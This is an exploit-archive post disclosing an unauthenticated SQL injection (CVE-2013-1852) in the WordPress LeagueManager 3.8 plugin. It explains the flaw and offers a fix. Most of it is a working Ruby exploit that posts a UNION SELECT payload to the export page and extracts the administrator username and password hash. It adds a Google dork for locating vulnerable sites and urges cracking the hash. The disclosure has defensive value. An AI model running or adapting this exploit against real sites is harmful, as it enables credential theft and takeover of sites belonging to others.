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WordPress LeagueManager 3.8 SQL Injection

WordPress LeagueManager 3.8 SQL Injection
Posted Mar 15, 2013
Authored by Joshua Reynolds | Site infosec4breakfast.com

WordPress LeagueManager plugin version 3.8 suffers from a remote SQL injection vulnerability. Both an exploit along with patching recommendations are provided.

tags | exploit, remote, sql injection
advisories | CVE-2013-1852
SHA-256 | a3e13cf6b95a3336ab25ac8195f16b3844e2f53413a7db2fbea7d99a9a980665

WordPress LeagueManager 3.8 SQL Injection

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#!/usr/bin/ruby
#
# Exploit Title: WordPress LeagueManager Plugin v3.8 SQL Injection
# Google Dork: inurl:"/wp-content/plugins/leaguemanager/"
# Date: 13/03/13
# Exploit Author: Joshua Reynolds
# Vendor Homepage: http://wordpress.org/extend/plugins/leaguemanager/ (No longer active)
# Software Link: http://downloads.wordpress.org/plugin/leaguemanager.3.8.zip (No longer active)
# Version: 3.8
# Tested on: BT5R1 - Ubuntu 10.04.2 LTS
# CVE: CVE-2013-1852
#-----------------------------------------------------------------------------------------
#Description:
#
#An SQL Injection vulnerability exists in the league_id parameter of a function call made
#by the leaguemanager_export page. This request is processed within the leaguemanager.php:
#
#if ( isset($_POST['leaguemanager_export']))
# $lmLoader->adminPanel->export($_POST['league_id'], $_POST['mode']);
#
#Which does not sanitize of SQL injection, and is passed to the admin/admin.php page
#into the export( $league_id, $mode ) function which also does not sanitize for SQL injection
#when making this call: $this->league = $leaguemanager->getLeague($league_id);
#The information is then echoed to a CSV file that is then provided.
#
#Since no authentication is required when making a POST request to this page,
#i.e /wp-admin/admin.php?page=leaguemanager-export the request can be made with no established
#session.
#
#Fix:
#
#A possible fix for this would be to cast the league_id to an integer during any
#of the function calls. The following changes can be made in the leaguemanager.php file:
#$lmLoader->adminPanel->export((int)$_POST['league_id'], $_POST['mode']);
#
#These functions should also not be available to public requests, and thus session handling
#should also be checked prior to the requests being processed within the admin section.
#
#The responsible disclosure processes were distorted by the fact that the author no longer
#supports his well established plugin, and there are currently no maintainers. After
#e-mailing the folks over at plugins@wordpress.org they've decided to discontinue the plugin
#and not patch the vulnerability.
#
#The following ruby exploit will retrieve the administrator username and the salted
#password hash from a given site with the plugin installed:
#------------------------------------------------------------------------------------------
#Exploit:

require 'net/http'
require 'uri'

if ARGV.length == 2
post_params = {
'league_id' => '7 UNION SELECT ALL user_login,2,3,4,5,6,7,8,'\
'9,10,11,12,13,user_pass,15,16,17,18,19,20,21,22,23,24 from wp_users--',
'mode' => 'teams',
'leaguemanager_export' => 'Download+File'
}

target_url = ARGV[0] + ARGV[1] + "/wp-admin/admin.php?page=leaguemanager-export"

begin
resp = Net::HTTP.post_form(URI.parse(target_url), post_params)
rescue
puts "Invalid URL..."
end

if resp.nil?
print_error "No response received..."

elsif resp.code != "200"
puts "Page doesn't exist!"
else
admin_login = resp.body.scan(/21\t(.*)\t2.*0\t(.*)\t15/)

if(admin_login.length > 0)
puts "Username: #{admin_login[0][0]}"
puts "Hash: #{admin_login[0][1]}"
puts "\nNow go crack that with Hashcat :)"
else
puts "Username and hash not received. Maybe it's patched?"
end
end
else
puts "Usage: ruby LeagueManagerSQLI.rb \"http://example.com\" \"/wordpress\""
end

#Shout outs: Graycon Group Security Team, Red Hat Security Team, Miss Umer, Tim Williams, Dr. Wu, friends & family.
#
#Contact:
#Mail: infosec4breakfast@gmail.com
#Blog: infosec4breakfast.com
#Twitter: @jershmagersh
#Youtube: youtube.com/user/infosec4breakfast
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